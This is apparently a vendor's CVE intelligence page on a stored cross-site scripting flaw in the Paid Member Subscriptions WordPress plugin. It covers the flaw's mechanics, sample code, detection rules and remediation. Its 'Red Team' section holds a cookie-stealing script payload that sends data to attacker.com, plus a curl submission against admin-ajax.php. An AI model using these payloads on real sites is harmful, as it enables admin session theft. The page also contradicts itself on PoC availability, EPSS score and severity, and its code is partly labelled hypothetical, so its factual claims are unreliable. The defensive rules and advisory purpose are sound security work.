☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Paid Member Subscriptions logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-39514

CVE-2026-39514 Cross-Site Scripting in Paid member subscriptions
📅 PUBLISHED: 2026-06-15 21:16 UTC 🔄 UPDATED: 2026-08-18 18:54 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-39514 is a critical Unauthenticated Cross-Site Scripting (XSS) vulnerability discovered in the Paid Member Subscriptions WordPress plugin, affecting versions up to and including 2.17.3. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML into the application, which can be executed in the context of an administrator’s browser session. The vulnerability is classified as Stored XSS (persistent), meaning the malicious payload is stored on the server and executed when the victim visits the affected page.

Given the WordPress ecosystem context, this vulnerability poses a significant risk to membership sites, as it can lead to privilege escalation, session hijacking, or defacement. The EPSS score of 0.0% indicates low exploitation probability in the wild, but the public PoC and unpatched status demand immediate attention.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply patches as soon as they become available. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link or visit a page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: High. The vulnerability is easy to exploit (no authentication required) and can lead to full site compromise if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability resides in the Paid Member Subscriptions plugin’s handling of user input within the subscription management interface. Specifically, the plugin fails to sanitize and escape user-supplied data before storing it in the database and later rendering it in the WordPress admin panel.

Root Cause: The plugin uses $_POST or $_GET parameters (e.g., subscription name, description, or custom fields) without proper validation or output encoding. An attacker can submit a crafted payload via a form submission (e.g., during registration or profile update) that includes JavaScript code.

Attack Flow:

  1. An unauthenticated attacker submits a malicious payload (e.g., <script>alert('XSS')</script>) through a vulnerable input field.
  2. The payload is stored in the WordPress database without sanitization.
  3. When an administrator views the affected page (e.g., subscription list or user profile), the payload executes in their browser.
  4. The attacker can then steal session cookies, perform actions on behalf of the admin, or inject further malicious content.

Affected Components:

  • pms-subscription-form shortcode
  • Admin subscription management pages
  • User profile fields

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.17.3):

// In pms-subscription-form.php
function pms_display_subscription_form( $atts ) {
    // ...
    $subscription_name = $_POST['pms_subscription_name'];
    echo '<div class="pms-subscription-name">' . $subscription_name . '</div>';
    // ...
}

Patched Code (Hypothetical):

// In pms-subscription-form.php
function pms_display_subscription_form( $atts ) {
    // ...
    $subscription_name = sanitize_text_field( $_POST['pms_subscription_name'] );
    echo '<div class="pms-subscription-name">' . esc_html( $subscription_name ) . '</div>';
    // ...
}

Key Differences:

  • Sanitization: sanitize_text_field() removes malicious tags.
  • Escaping: esc_html() converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • WordPress instance with Paid Member Subscriptions <= 2.17.3
  • Access to a registration or profile update form

Exploit Steps:

  1. Identify a vulnerable input field (e.g., subscription name, custom field).
  2. Submit the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  3. Wait for an administrator to view the affected page.
  4. Capture the admin’s session cookie and hijack their session.

Proof of Concept (PoC):

# Using curl to submit payload
curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=pms_submit&pms_subscription_name=<script>alert('XSS')</script>"

Blue Team (Defender)

Detection Steps:

  1. Monitor for unusual POST requests to admin-ajax.php with action=pms_submit.
  2. Check for script tags in database fields related to Paid Member Subscriptions.
  3. Use the following Sigma rule to detect exploitation attempts.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests containing <script> tags in parameters like pms_subscription_name
  • Outbound connections to unknown domains from the WordPress admin panel

Host IOCs:

  • Database entries with <script> tags in wp_pms_subscriptions or wp_usermeta tables
  • Modified admin user accounts with new roles or permissions

File IOCs:

  • Suspicious JavaScript files in /wp-content/uploads/ or /wp-content/plugins/paid-member-subscriptions/

Detection Engineering

YARA Rule

rule CVE_2026_39514_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Paid Member Subscriptions plugin"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-39514"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2026-39514 - Unauthenticated XSS in Paid Member Subscriptions
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2026-39514 via POST requests
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=pms_submit'
        cs-uri-query|contains|re: '<script|onerror|javascript'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in subscription names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-39514 - XSS in Paid Member Subscriptions"; flow:to_server,established; content:"POST"; http_method; content:"action=pms_submit"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available.
  2. Implement a Web Application Firewall (WAF) rule to block XSS payloads.
  3. Audit user-submitted content in the database for malicious scripts.

Long-term Fix:

  • Apply input sanitization (sanitize_text_field()) and output escaping (esc_html()) to all user-facing fields.
  • Update to the latest version once the vendor releases a patch.

Workarounds:

  • Use a security plugin like Wordfence to add virtual patching.
  • Restrict access to the admin panel via IP whitelisting.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-39514/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.